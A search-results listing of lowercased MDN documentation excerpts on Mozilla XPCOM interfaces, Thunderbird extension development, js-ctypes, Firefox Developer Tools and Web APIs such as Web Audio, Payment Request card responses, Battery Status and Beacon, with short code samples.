... key: string.fromcharcode.apply(null, btoa(subscription.getkey("p256dh"))), secret: string.fromcharcode.apply(null, btoa(subscription.getkey("auth"))), })); } pushservice.subscribe( "chrome://my-module/push", scriptsecuritymanager.getsystemprincipal(), (code, subscription) => { if (!components.issuccesscode(code)) { cu.reporterror("error creating subscription: " + code); } else { sendsubscriptiontoserver(subscription); } } ); see also nsipushservice nsipushmessage pushsubscription ...
nsISearchEngine
if value is "{searchterms}", it will be substituted with the user-entered data when retrieving the submission.
...if null, will default to "text/html" exceptions thrown ns_error_invalid_arg if name or value are null.
...if null, will default to "text/html".
nsISelection3
void modify( in domstring alter, in domstring direction, in domstring granularity ); parameters alter can be one of { "move", "extend" } "move" collapses the selection to the end of the selection and applies the movement direction/granularity to the collapsed selection.
... "extend" leaves the start of the selection unchanged, and applies movement direction/granularity to the end of the selection.
... direction can be one of { "forward", "backward", "left", "right" } granularity can be one of { "character", "word", "line", "lineboundary" } see also nsiselection ...
nsISelectionPrivate
"none" means a table element is not selected.
...for values in between, the point "avpercent" down the frame is placed at the point "avpercent" down the visible area.
...for values in between, the point "ahpercent" across the frame is placed at the point "ahpercent" across the visible area.
nsISound
to use this interface, use: var sound = components.classes["@mozilla.org/sound;1"] .createinstance(components.interfaces.nsisound); method overview void beep(); void init(); void play(in nsiurl aurl); void playeventsound(in unsigned long aeventid); void playsystemsound(in astring soundalias); constants sound event constants constan...
...void playsystemsound( in astring soundalias ); parameters soundalias two different types of names are supported: you can specify the name of a system sound provided by the host operating system; for example, if you specify "systemexclamation", you can play the windows alert sound, but it's played only on windows.
... similarly, if you specify "blow", you can play the mac os x "blow" system sound, but, similarly, it's played only on the macintosh.
nsITextInputProcessorCallback
this interface has a "function" attribute.
... example of simple js-ime: var simpleime = { _hasfocus: false, _hasrightstocompose: false, _tip: null, _callback: function simpleime_callback(atip, anotification) { try { switch (anotification.type) { case "request-to-commit": atip.commitcomposition(); break; case "request-to-cancel": atip.cancelcomposition(); break; case "notify-focus": this._hasfocus = true; break; case "notify-blur": this._hasfocus = false; break; case "notify-detached": this._hasfocus = false; this._hasrightstocompose = false; break; } return true; } catch (e) { return false; ...
... } }, setcomposition: function simpleime_setcomposition(atext, aclauses, acaret) { if (!this._tip) { this._tip = components.classes["@mozilla.org/text-input-processor;1"].
nsITraceableChannel
1.0 66 introduced gecko 1.9.0.4 inherits from: nsisupports last changed in gecko 1.9.0.4 the typical way to use this interface is as follows: register for the "http-on-examine-response" notification to track all http responses; skip redirects (responsestatus = 3xx on nsihttpchannel), since otherwise you may end up with two listeners registered for a channel; qi the channel passed as the "subject" to your observer to nsitraceablechannel, and replace the default nsistreamlistener (that passes the data to the original requester - e.g.
... to xmlhttprequest or to the browser tab that made the request) with your own implementation (see "implementing nsistreamlistener" below).
... this.receivedchunks.push(data); ostream.writebytes(data, acount); this.originallistener.ondataavailable(arequest, acontext, sstream.newinputstream(0), aoffset, acount); }, onstartrequest: function(arequest, acontext) { this.originallistener.onstartrequest(arequest, acontext); }, onstoprequest: function(arequest, acontext, astatuscode) { this.responsebody = this.receivedchunks.join(""); delete this.receivedchunks; this.responsestatus = astatuscode; this.originallistener.onstoprequest(arequest, acontext, astatuscode); this.deferreddone.resolve(); }, queryinterface: function(aiid) { if (aiid.equals(ci.nsistreamlistener) || aiid.equals(ci.nsisupports)) { return this; } throw cr.ns_nointerface; } }; var httpresponseobserver = { observe: function(asubject, a...
nsITreeBoxObject
last changed in gecko 1.9 (firefox 3) inherits from: nsisupports to get the treeboxobject for a tree: let boxobject = tree.boxobject; boxobject.queryinterface("components.interfaces.nsitreeboxobject"); or simply: let boxobject = tree.treeboxobject; method overview long getfirstvisiblerow(); long getlastvisiblerow(); long getpagelength(); void ensurerowisvisible(in long index); void ensurecellisvisible(in long row, in nsitreecolumn col); void scrolltorow(in long index); void scrollbylines(in...
... childelt the pseudoelement hit: this can have values of "cell", "twisty", "image", and "text".
...this can have values of "cell", "twisty", "image", and "text".
XPCOM reference
rss feeds are implemented by nslocalmailfolder.ns ensure successmacrons ensure truemacrons_abort_if_falsethis was removed in bug 1127201ns_addrefmacrons_assertionmacrons_ensure_arg_pointermacrons_errorthrows a assertion (ns_assertion) with the text "error: (error text)", so writes this text to console (stderr) and to debug logs (nspr logging).
...for example, to request the 'show all threads' view use the constant:nsstaticmoduleinfothis data structure is used by ns_initxpcom3 to specify static xpcom modules.standard xpcom componentsthere are a number of components provided in the standard implementation of xpcom; these are as follows.xpcom glue classesthese "glue" classes are provided to make it easier to use xpcom from c++ code.xpcom interface referencethis is a reference to the xpcom interfaces provided by the mozilla platform.xpcom interface reference by groupingthis page lists the current (as of dec.
...(i'm fully aware that this will be a great point of discussion and probably will end in tears, but since i'm the first person to apparently take a swing at this, i get first dibs.)xpcom primitivean xpcom primitive is an xpcom object that "boxes" a value of a primitive type.
wrappedJSObject
// constructor function helloworld() { }; helloworld.prototype = { hello: function() { return "hello world!"; }, queryinterface: function(aiid) { if (!aiid.equals(components.interfaces.nsisupports) && !aiid.equals(components.interfaces.nsihelloworld)) throw components.results.ns_error_no_interface; return this; } }; xpconnect wrapping now let's get a reference to our component.
... in this example we use getservice, but as long as we get the reference from xpcom, our component gets wrapped by xpconnect in the same way: var comp = components.classes["@myself.com/my-component;1"].getservice(); if we try to call the hello() method we defined in our component implementation, we get: > comp.hello(); typeerror on line 1: comp.hello is not a function this happens because, as we mentioned earlier, comp is not the helloworld js object itself, but an xpconnect wrapper around it: > dump(comp); [xpconnect wrapped nsisupports] the idea of these wrappers is to make the javascript-implemented xpcom components look just like any other xpcom component to the user.
...for example: function helloworld() { this.wrappedjsobject = this; }; now we can get the component directly: var comp = components.classes["@myself.com/my-component;1"] .getservice().wrappedjsobject; this is a real js object: > comp [object object] so we can access any property on it: > comp.hello(); hello world!
Address book sync client design
the general architecture for the sync component is the following: mozilla ui ab sync logic mork ab database sync protocol encoding sync protocol decoding http "post" api mozilla networking client side sync logic the client synchronization logic defers to the server peforming some intelligence in handling duplicate entries for the sync process.
...this interface is defined in mozilla/mailnews/addrbook/public/nsiabsyncdriver.idl #include "nsrootidl.idl" #include "nsiabsynclistener.idl" [scriptable, uuid(91fdfee1-efbc-11d3-8f97-000073757374)] interface nsiabsyncdriver : nsiabsynclistener { void kickit(); }; as you can see, this is a very simple interface which allows for the starting of the address book sync operation.
...this interface is as follows: #include "nsisupports.idl" #include "nsrootidl.idl" #include "nsifilespec.idl" [scriptable, uuid(e0ed29e0-098a-11d4-8fd6-00a024a7d144)] interface nsiabsynclistener : nsisupports { /** * notify the observer that the ab sync authorization operation has begun.
Gloda examples
query=gloda.newquery(gloda.noun_conversation); query.subjectmatches("gloda makes searching easy"); query.getcollection(alistener) search messages by tags searches for all messages having any (or several) of all tags defined in tb let query = gloda.newquery(gloda.noun_message); let tagarray = mailservices.tags.getalltags({}); query.tags(...tagarray); let collection = query.getcollection(mylistener); search messages by daterange searches for all me...
...instead you need to do two queries, first to get the "identity" object for an email address and then to get the messages.
... this requires two chained asynchronous calls: //first take an email address and turn it into an identity object id_q = gloda.newquery(gloda.noun_identity); id_q.kind("email"); id_q.value("test@example.com"); id_coll = id_q.getcollection({ onitemsadded: function _onitemsadded(aitems, acollection) { }, onitemsmodified: function _onitemsmodified(aitems, acollection) { }, onitemsremoved: function _onitemsremoved(aitems, acollection) { }, onquerycompleted: function _onquerycompleted(id_coll) { //woops no identity if (id_coll.items.length <= 0) return; id = id_coll.items[0]; //now we use the ident...
LDAP Support
this document is intended to "fill in the gaps" about how enterprise customers can leverage and customize ldap support in mozilla thunderbird.
...this can be accomplished by setting the following preferences: user_pref("mail.autocomplete.commentcolumn", 2); user_pref("ldap_2.servers.directoryname.autocomplete.commentformat", "[ou]"); the first preference tells us to use a comment column in the type down (the default value is 0 for no comment), and that the value for the comment is a custom string unique to each directory.
..."department: [ou]" would yield a type down entry that looks like "john smit department: client engineering".
The libmime module
there is one header file and one source file for each class (for example, the mimeinlinetext class is defined in "mimetext.h" and "mimetext.c".) each header file follows the following boiler-plate form: typedefs these come first to avoid circular dependencies.
... }; then, in the corresponding .c file, the following structure is used: class definition first we pull in the appropriate include file (which includes all necessary include files for the parent classes) and then we define the class object using the mimedefclass macro: #include "foobar.h" #define mime_superclass parentlclass mimedefclass(foobar, foobarclass, foobarclass, &mime_superclass); the definition of mime_superclass is just to move most of the knowlege of the exact class hierarchy up to the file's header, instead of it being scattered through the various methods; see below.
... its name must be of the form "<class>initialize", and it should initialize the various method slots in the class as appropriate.
Building a Thunderbird extension 3: install manifest
open the file called install.rdf that you created at the top of your extension's directory hierarchy and paste the following text into the file: <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>myfirstext@jen.zed</em:id> <em:name>my first extension</em:name> <em:version>1.0</em:version> <em:creator>jenzed</em:creator> <em:targetapplication> <description> <em:id>{3550f703-e582-4...
...do not use a wildcard (such as "*").
..."5.0.*" indicates that the extension works with thunderbird 5.0 and any subsequent 5.0.x releases.
Styling the Folder Pane
for example, imap servers are "imap".
... specialfolder-foldertype afolder.flags & nsmsgfolderflags.<name> returns the folder type if it is a special folder (or "none" if it is a regular folder).
... for example, if the inbox flag is set, this will be "inbox".
Using the Mozilla source server
now, when you click on a frame in the "calls" window, windbg will prompt you about running cvs to download the associated source code.
... if you click "yes", windbg will display *busy* in the status bar while it downloads the source, and then it will automatically open the file and highlight the current line.
...also, disable (uncheck) the box that says "require source files to exactly match the original version".
Debugging Tips
let { ctypes } = components.utils.import("resource://gre/modules/ctypes.jsm", {}); let i = ctypes.int32_t(10); console.log(i); let point = ctypes.structtype("point", [{ x: ctypes.int32_t }, { y: ctypes.int32_t }]) let p = point(10, 20); console.log(p); let pp = p.address(); console.log(pp); the result will be as following: cdata { value: 10 } cdata { x: 10, y: 20 } cdata { contents: cdata } to see more descriptive information, you can use .tosource().
... let { ctypes } = components.utils.import("resource://gre/modules/ctypes.jsm", {}); let i = ctypes.int32_t(10); console.log(i.tosource()); let point = ctypes.structtype("point", [{ x: ctypes.int32_t }, { y: ctypes.int32_t }]) let p = point(10, 20); console.log(p.tosource()); let pp = p.address(); console.log(pp.tosource()); the result will be : ctypes.int32_t(10) point(10, 20) point.ptr(ctypes.uint64("0x15fdafb08")) to see the complete type information, you can use .constructor.tosource(), to print the source of ctype.
... let { ctypes } = components.utils.import("resource://gre/modules/ctypes.jsm", {}); let i = ctypes.int32_t(10); console.log(i.constructor.tosource()); let point = ctypes.structtype("point", [{ x: ctypes.int32_t }, { y: ctypes.int32_t }]) let p = point(10, 20); console.log(p.constructor.tosource()); let pp = p.address(); console.log(pp.constructor.tosource()); the result will be as per the following: ctypes.int32_t ctypes.structtype("point", [{ "x": ctypes.int32_t }, { "y": ctypes.int32_t }]) ctypes.structtype("point", [{ "x": ctypes.int32_t }, { "y": ctypes.int32_t }]).ptr ...
ctypes
ed_char}, {'fsstyle': ctypes.unsigned_char}, {'breserved': ctypes.unsigned_char}, {'breserved2': ctypes.unsigned_char}, {'breserved3': ctypes.unsigned_char}, {'breserved4': ctypes.unsigned_char}, {'breserved5': ctypes.unsigned_char}, {'breserved6': ctypes.unsigned_char}, {'dwdata': ctypes.uintptr_t}, {'istring': ctypes.intptr_t} ]); } else { throw new error("wut?!"); } console.log(struct_tbbutton.size); // 20 on 32-bit, 32 on 64-bit if i'm not mistaken there is another way to do this, we can use arraytype, but example for this i don't know at this time.
... credit for this example is to nmaier (stackoverflow :: getting tb_button is crashing and not working) example of cast and functiontype on windows components.utils.import("resource://gre/modules/ctypes.jsm"); var kernel = ctypes.open("kernel32.dll"); var hmodule = ctypes.uint32_t; var hwnd = ctypes.uint32_t; var lpctstr = ctypes.jschar.ptr; var lpcstr = ctypes.char.ptr; var loadlibrary = kernel.declare("loadlibraryw", ctypes.winapi_abi, hmodule, lpctstr); var getprocaddress = kernel.declare("getprocaddress", ctypes.winapi_abi, ctypes.void_t.ptr, hmodule, lpcstr); var huser = loadlibrary("user32"); var funcptr = getprocaddress(huser, "messageboxw"); // now we have a pointer to a function, let's cast it to the right type var messageboxtype = ctypes.functiontype(ctypes.winapi_abi, ctypes...
....int32_t, [hwnd, lpctstr, lpctstr, ctypes.uint32_t]); funcptr = ctypes.cast(funcptr, messageboxtype.ptr); funcptr(0, "test1", "test2", 0); credit for this example is to wladimir palant (stackoverflow :: how to call a function using pointer in js-ctypes) ...
Color vision simulation - Firefox Developer Tools
the simulator in the accessibility inspector in firefox developer tools lets you see what a web page would look like to users with various forms of color vision deficiency (better known as "color blindness"), as well as contrast sensitivity loss.
... "color blindness" is a bit of a misnomer, since most people with these disorders can see colors, but do not see all of the distinctions that people with normal color vision can see; color vision deficiencies affect perception across the color spectrum, not only of specific colors like red or green.
...the most common forms of color blindness (commonly lumped together as "red-green color blindness") affect more men than women, because they are due to a mutation in a gene in the x chromosome, which men usually have only one copy of.
Introduction to DOM Inspector - Firefox Developer Tools
you can traverse the structure and go from the topmost parts parts of the dom tree to lower level nodes, such as the "search-go-button" icon that lets users perform a query using the selected search engine.
... now, once you have selected a node like the "search-go-button" node, you can select any one of several viewers to display information about that node in the object pane of the dom inspector application window, all of which are available from the menupopup accessed from the upper left corner of the the object pane.
...if a binding extends another binding, the binding menulist will list them in descending order to to "root" binding.
Browser Toolbox - Firefox Developer Tools
to enable it you need to check the settings "enable chrome and addon debugging" and "enable remote debugging".
... to do this, open the developer tools settings, go to the section "advanced settings", and check the settings "enable browser chrome and add-on debugging toolboxes" and "enable remote debugging".
... opening the browser toolbox open the browser toolbox through the menu button and the menu items "developer" then "browser toolbox".
Debugger.Memory - Firefox Developer Tools
for each collection slice that occurred, there is an entry in the collections array with the following form: { "starttimestamp":timestamp, "endtimestamp":timestamp, } here the timestamp values are timestamps of the gc slice’s start and end events.
... in a census, all the various forms of javascript code are placed in the "script" category.
... type information is accounted to the "types" category.
Animation inspector example: Web Animations API - Firefox Developer Tools
html content <div class="channel"> <img src="https://udn.realityripple.com/samples/e6/a96484b5c3.png" id="icon"/> <span id="note">firefox developer edition</span> </div> css content .channel { padding: 2em; margin: 0.5em; box-shadow: 1px 1px 5px #808080; margin: 1.5em; } .channel > * { vertical-align: middle; line-height: normal; } #icon { width: 50px; height: 50px; filter: grayscale(100%); } #note { margin-left: 1em; font: 1.5em "open sans",arial,sans-serif; overflow: hidden; white-space: nowrap; display: inline-block; opacity: 0; width: 0; } javascript content var iconkeyframeset = [ { transform: 'scale(1)', filter: 'grayscale(100%)'}, { filter: 'grayscale(1...
...66 }, { transform: 'scale(1.5)', filter: 'grayscale(0%)'} ]; var notekeyframeset = [ { opacity: '0', width: '0'}, { opacity: '1', width: '300px'} ]; var iconkeyframeoptions = { duration: 750, fill: 'forwards', easing: 'ease-in', enddelay: 100 } var notekeyframeoptions = { duration: 500, fill: 'forwards', easing: 'ease-out', delay: 150 } var icon = document.getelementbyid("icon"); var note = document.getelementbyid("note"); var iconanimation = icon.animate(iconkeyframeset, iconkeyframeoptions); var noteanimation = note.animate(notekeyframeset, notekeyframeoptions); iconanimation.pause(); noteanimation.pause(); var firsttime = true; function animatechannel(e) { if (e.button != 0) { return; } if (e.target.id != "icon") { return; } if (firsttime) ...
...{ iconanimation.play(); noteanimation.play(); firsttime = false; } else { iconanimation.reverse(); noteanimation.reverse(); } } document.addeventlistener("click", animatechannel); ...
UI Tour - Firefox Developer Tools
it covers the three top-level components of the inspector's ui: the "select element" button the html pane the css pane this guide is intentionally kept as short as possible.
...note that before firefox 50, the box model view did not appear in the "computed view" tab, but had its own tab.
...the "browser compatibility" section of the article gives details of browser support for the property.
Responsive Design Mode - Firefox Developer Tools
if you checked "screenshot to clipboard" in the developer tools settings page, then the screenshot will be copied to the system clipboard.
... device selection just above the viewport there is a label "no device selected"; click this to see a list of device names.
...0 regular 2g 250 kb/s 50 kb/s 300 good 2g 450 kb/s 150 kb/s 150 regular 3g 750 kb/s 250 kb/s 100 good 3g 1.5 mb/s 750 kb/s 40 regular 4g/lte 4 mb/s 3 mb/s 20 dsl 2 mb/s 1 mb/s 5 wi-fi 30 mb/s 15 mb/s 2 to select a network, click the list box that's initially labeled "no throttling": ...
ANGLE_instanced_arrays - Web APIs
in webgl2, the functionality of this extension is available on the webgl2 context by default and the constants and methods are available without the "angle" suffix.
... despite the name "angle", this extension works on any device if the hardware supports it and not just on windows when using the angle library.
... "angle" just indicates that this extension has been written by the angle library authors.
AbsoluteOrientationSensor - Web APIs
model.quaternion.fromarray(sensor.quaternion).inverse(); }); sensor.addeventlistener('error', error => { if (event.error.name == 'notreadableerror') { console.log("sensor is not available."); } }); sensor.start(); permissions example using orientation sensors requires requesting permissions for multiple device sensors.
... const sensor = new absoluteorientationsensor(); promise.all([navigator.permissions.query({ name: "accelerometer" }), navigator.permissions.query({ name: "magnetometer" }), navigator.permissions.query({ name: "gyroscope" })]) .then(results => { if (results.every(result => result.state === "granted")) { sensor.start(); ...
... } else { console.log("no permissions to use absoluteorientationsensor."); } }); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
Animation.onfinish - Web APIs
the "paused" play state supersedes the "finished" play state; if the animation is both paused and finished, the "paused" state is the one that will be reported.
... you can force the animation into the "finished" state by setting its starttime to document.timeline.currenttime - (animation.currenttime * animation.playbackrate).
...here is one instance where we add pointer events back to an element after its opacity animation has faded it in: // add an animation to the game's ending credits var endingui = document.getelementbyid("ending-ui"); var bringui = endingui.animate(keysfade, timingfade); // pause said animation's credits bringui.pause(); // this function removes pointer events on the credits.
AnimationEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#d4dde4" fill="none"/><l...
...ine x1="86" y1="25" x2="116" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/animationevent" target="_top"><rect x="116" y="1" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="186" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">animationevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor animationevent() creates an animationevent event with the given parameters.
... animationevent.initanimationevent() initializes a animationevent created using the deprecated document.createevent("animationevent") method.
AudioContext.createMediaStreamDestination() - Web APIs
<!doctype html> <html> <head> <title>createmediastreamdestination() demo</title> </head> <body> <h1>createmediastreamdestination() demo</h1> <p>encoding a pure sine wave to an opus file </p> <button>make sine wave</button> <audio controls></audio> <script> var b = document.queryselector("button"); var clicked = false; var chunks = []; var ac = new audiocontext(); var osc = ac.createoscillator(); var dest = ac.createmediastreamdestination(); var mediarecorder = new mediarecorder(dest.stream); osc.connect(dest); b.addeventlistener("click", function(e) { if (!clicked) { mediarecorder.start(); osc.start(0); ...
... e.target.innerhtml = "stop recording"; clicked = true; } else { mediarecorder.stop(); osc.stop(0); e.target.disabled = true; } }); mediarecorder.ondataavailable = function(evt) { // push each chunk (blobs) in an array chunks.push(evt.data); }; mediarecorder.onstop = function(evt) { // make blob out of our blobs, and open it.
... var blob = new blob(chunks, { 'type' : 'audio/ogg; codecs=opus' }); document.queryselector("audio").src = url.createobjecturl(blob); }; </script> </body> </html> note: you can view this example live, or study the source code, on github.
AudioContextLatencyCategory - Web APIs
values value description "balanced" the user agent should balance audio output latency and power consumption when selecting a latency value.
... "interactive" the audio is involved in interactive elements, such as responding to user actions or needing to coincide with visual cues such as a video or game action.
... "playback" the user agent should select a latency that will maximize playback time by minimizing power consumption at the expense of latency.
AudioTrack.enabled - Web APIs
function swapcommentarymain() { var videoelem = document.getelementbyid("main-video"); var audiotrackmain; var audiotrackcommentary; videoelem.audiotracks.foreach(track) { if (track.kind === "main") { audiotrackmain = track; } else if (track.kind === "commentary") { audiotrackcommentary = track; } } if (audiotrackmain && audiotrackcommentary) { var commentaryenabled = audiotrackcommentary.enabled; audiotrackcommentary.enabled...
... = audiotrackmain.enabled; audiotrackmain.enabled = commentaryenabled; } } the swapcommentarymain() function above finds within the audio tracks of the <video> element "main-video" the audio tracks whose kind values are "main" and "commentary".
... the scan looks for the tracks whose kind values are "main" and "commentary" and remembers those audiotrack objects.
AudioTrack.label - Web APIs
WebAPIAudioTracklabel
otherwise, an empty string ("") is returned.
... for example, a track whose kind is "commentary" might have a label such as "commentary with director mark markmarkimark and star donna donnalidon".
... function gettracklist(el) { var tracklist = []; const wantedkinds = [ "main", "alternative", "main-desc", "translation", "commentary" ]; el.audiotracks.foreach(function(track) { if (wantedkinds.includes(track.kind)) { tracklist.push({ id: track.id, kind: track.kind, label: track.label }); } }); return tracklist; } the resulting tracklist contains an array of audio tracks whose kind is one of those in the array wantedkinds, with each entry providing the track's id, kind, and label.
AuthenticatorResponse.clientDataJSON - Web APIs
properties after the clientdatajson object is converted from an arraybuffer to a javascript object, it will have the following properties: type a string which is either "webauthn.get" when an existing credential is retrieved or "webauthn.create" when a new credential is created.
...it has two properties: status: a string which is either "supported" which indicates the client support token binding but did not negotiate with the relying party or "present" when token binding was used already id: a domstring which is the base64url encoding of the token binding id which was used for the communication.
... examples function arraybuffertostr(buf) { return string.fromcharcode.apply(null, new uint8array(buf)); } // pk is a publickeycredential that is the result of a create() or get() promise var clientdatastr = arraybuffertostr(pk.clientdatajson); var clientdataobj = json.parse(clientdatastr); console.log(clientdataobj.type); // "webauthn.create" or "webauthn.get" console.log(clientdataobj.challenge); // base64 encoded string containing the original challenge console.log(clientdataobj.origin); // the window.origin specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'clientdatajson' in that specification.
BaseAudioContext.createGain() - Web APIs
the below snippet wouldn't work as is — for a complete working example, check out our voice-change-o-matic demo (view source.) <div> <button class="mute">mute button</button> </div> var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var gainnode = audioctx.creategain(); var mute = document.queryselector('.mute'); var source; if (navigator.mediadevices.getusermedia) { navigator.mediadevices.getusermedia ( // constraints - only audio needed for this app { audio: true }, // success callback function(...
... mute.onclick = voicemute; function voicemute() { if(mute.id == "") { // 0 means mute.
... gainnode.gain.setvalueattime(0, audioctx.currenttime); mute.id = "activated"; mute.innerhtml = "unmute"; } else { gainnode.gain.setvalueattime(1, audioctx.currenttime); mute.id = ""; mute.innerhtml = "mute"; } } specifications specification status comment web audio apithe definition of 'creategain()' in that specification.
BasicCardResponse.billingAddress - Web APIs
syntax "billingaddress" : paymentaddress value a paymentaddress object representing the billing address of the card.
...this has to conform to the structure defined by the basiccardresponse dictionary, and may look something like this: { "cardnumber' : '9999999999999999", "cardholdername' : 'mr.
... dick straw", "cardsecuritycode" : "999", "expirymonth" : "07", "expiryyear" : "2021", "billingaddress" : { "country" : "gb", // etc.
BasicCardResponse.cardNumber - Web APIs
syntax "cardnumber" : "number" value a domstring representing the credit card number.
...this has to conform to the structure defined by the basiccardresponse dictionary, and may look something like this: { "cardnumber' : '9999999999999999", "cardholdername' : 'mr.
... dick straw", "cardsecuritycode" : "999", "expirymonth" : "07", "expiryyear" : "2021", "billingaddress" : { "country" : "gb", // etc.
BasicCardResponse.cardSecurityCode - Web APIs
syntax "cardsecuritycode" : "number" value a domstring representing the card security code.
...this has to conform to the structure defined by the basiccardresponse dictionary, and may look something like this: { "cardnumber' : '9999999999999999", "cardholdername' : 'mr.
... dick straw", "cardsecuritycode" : "999", "expirymonth" : "07", "expiryyear" : "2021", "billingaddress" : { "country" : "gb", // etc.
BasicCardResponse.expiryMonth - Web APIs
syntax "expirymonth" : "number" value a domstring representing the card expiry month as a two-digit number in the range 01 to 12.
...this has to conform to the structure defined by the basiccardresponse dictionary, and may look something like this: { "cardnumber' : '9999999999999999", "cardholdername' : 'mr.
... dick straw", "cardsecuritycode" : "999", "expirymonth" : "07", "expiryyear" : "2021", "billingaddress" : { "country" : "gb", // etc.
BasicCardResponse.expiryYear - Web APIs
syntax "expiryyear" : "number" value a domstring representing the card expiry year as a four-digit number in the range 0000 to 9999.
...this has to conform to the structure defined by the basiccardresponse dictionary, and may look something like this: { "cardnumber' : '9999999999999999", "cardholdername' : 'mr.
... dick straw", "cardsecuritycode" : "999", "expirymonth" : "07", "expiryyear" : "2021", "billingaddress" : { "country" : "gb", // etc.
Battery Status API - Web APIs
navigator.getbattery().then(function(battery) { function updateallbatteryinfo(){ updatechargeinfo(); updatelevelinfo(); updatecharginginfo(); updatedischarginginfo(); } updateallbatteryinfo(); battery.addeventlistener('chargingchange', function(){ updatechargeinfo(); }); function updatechargeinfo(){ console.log("battery charging?
... " + (battery.charging ?
... "yes" : "no")); } battery.addeventlistener('levelchange', function(){ updatelevelinfo(); }); function updatelevelinfo(){ console.log("battery level: " + battery.level * 100 + "%"); } battery.addeventlistener('chargingtimechange', function(){ updatecharginginfo(); }); function updatecharginginfo(){ console.log("battery charging time: " + battery.chargingtime + " seconds"); } battery.addeventlistener('dischargingtimechange', function(){ updatedischarginginfo(); }); function updatedischarginginfo(){ console.log("battery discharging time: " + battery.dischargingtime + " seconds"); } }); see also the example in the specification.
Using the Beacon API - Web APIs
window.onload = window.onunload = function analytics(event) { if (!navigator.sendbeacon) return; var url = "https://example.com/analytics"; // create the data to send var data = "state=" + event.type + "&location=" + location.href; // send the beacon var status = navigator.sendbeacon(url, data); // log the data and result console.log("sendbeacon: url = ", url, "; data = ", data, "; status = ", status); }; the following example creates a submit handler and when that event is fired, the ha...
... this code snippet is for the global context: function worker_send(url, data) { // create the worker object var myworker = new worker("worker-using.js"); // send the worker the url and data to beacon myworker.postmessage([url, data]); // set up a message handler to receive the success/fail message from the worker myworker.onmessage = function(event) { var msg = event.data; // log worker's send status console.log("worker reply: sendbeacon() status = " + msg); }; } this code snippet is for the worker (work...
..."success" : "fail"); } else { postmessage("worker: self.navigator.sendbeacon is unsupported"); } } see also beacon api (overview) beacon standard beacon caniuse data ...
BluetoothDevice - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20...
... 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/bluetoothdevice" target="_top"><rect x="151" y="1" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="226" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">bluetoothdevice</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} interface interface bluetoothdevice { readonly attribute domstring id; readonly attribute domstring?
... bluetoothdevice.deviceclass read only a number representing the bluetooth devices "class of device".
CSSMathSum - Web APIs
<div>has width</div> we assign a width div { width: calc(30% - 20px); } we add the javascript const stylemap = document.queryselector('div').computedstylemap(); console.log( stylemap.get('width') ); // cssmathsum {values: cssnumericarray, operator: "sum"} console.log( stylemap.get('width').operator ); // 'sum' console.log( stylemap.get('width').values ); // cssnumericarray {0: cssunitvalue, 1: cssunitvalue, length: 2} console.log( stylemap.get('width').values[0] ); // cssunitvalue {value: 30, unit: "percent"} console.log( stylemap.get('width').values[0].value ); // 30 console.log( stylemap.get('width').values[0].unit...
... ); // 'percent' console.log( stylemap.get('width').values[1] ); // cssunitvalue {value: -20, unit: "px"} console.log( stylemap.get('width').values[1].value ); // -20 console.log( stylemap.get('width').values[1].unit ); // 'px' the specification is still evolving.
... in the future we may write the last three lines as: console.log( stylemap.get('width').values[1] ); // cssmathnegate {value: cssunitvalue, operator: "negate"} console.log( stylemap.get('width').values[1].value ); // cssunitvalue {value: 20, unit: "px"} console.log( stylemap.get('width').values[1].value.unit ); // 'px' specifications specification status comment css typed om level 1the definition of 'cssmathsum' in that specification.
CSSMathValue.operator - Web APIs
for example, if the current cssmathvalue subtype is cssmathsum, this property will return the string "sum".
... interface value cssmathsum "sum" cssmathproduct "product" cssmathmin "min" cssmathmax "max" cssmathclamp "clamp" cssmathnegate "negate" cssmathinvert "invert" examples we create an element with a width determined using a calc() function, then console.log() the operator.
... <div>my width has a <code>calc()</code> function</div> we assign a width with a calculation div { width: calc(50% - 0.5vw); } we add the javascript const stylemap = document.queryselector('div').computedstylemap(); console.log( stylemap.get('width') ); // cssmathsum {values: cssnumericarray, operator: "sum"} console.log( stylemap.get('width').values ); // cssnumericarray {0: cssunitvalue, 1: cssmathnegate, length: 2} console.log( stylemap.get('width').operator ); // 'sum' console.log( stylemap.get('width').values[1].operator ) // 'negate' the cssmathvalue.operator returns sum for the equation and negate for the operator on the second value.
CSSStyleSheet.insertRule() - Web APIs
